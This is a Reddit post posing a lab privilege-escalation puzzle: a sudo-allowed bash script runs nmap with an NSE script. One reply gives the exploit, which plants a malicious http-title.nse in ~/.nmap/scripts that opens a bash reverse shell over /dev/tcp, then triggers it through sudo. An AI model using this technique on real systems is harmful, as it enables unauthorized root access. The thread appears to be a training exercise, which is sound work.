r/Hacking_Tutorials • • 5h ago

Question Low-privilege shell on Ubuntu. Sudo lets you run /usr/local/bin/netcheck as root. Can you reach root?

You're on a lab Ubuntu server as user dev`. dev@lab :~ $ whoami dev dev@lab :~ $ id uid=1001(dev) gid=1001(dev) groups=1001(dev),1002(web) dev@lab :~ $ sudo -I User dev may run the following commands: (root) NOPASSWD: /usr/local/bin/netcheck 11

The script: #!/bin/bash echo "Running network check ... " /usr/bin/nmap -sT -p 22,80,443 -- script http-title 192.168.1.0/24 -oN /tmp/netscan.txt echo "Scan saved."

Task:

  1. Identify the exact issue that allows privilege escalation.
  2. Show the commands to reach root.
  3. Explain how you would fix the script and permissions properly.

Metasploit. No automated tools. Just standard Linux commands and shell knowledge. This is a controlled lab scenario. Share your approach in the comments.

2 Upvotes

2 comments sorted by

1

u/bummyjabbz 4h ago

Just create an nmap script:

mkdir -p ~/.nmap/scripts cat > ~/.nmap/scripts/http-title.nse << 'EOF' description = "priv esc test" categories = {"discovery"} portrule = function() return true end action = function() os.execute("/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1") end EOF

sudo /usr/local/bin/netcheck 11

1

u/kinkySpiceee 1h ago

clever script idea, but nmap exploits always feel like cheating the system somehow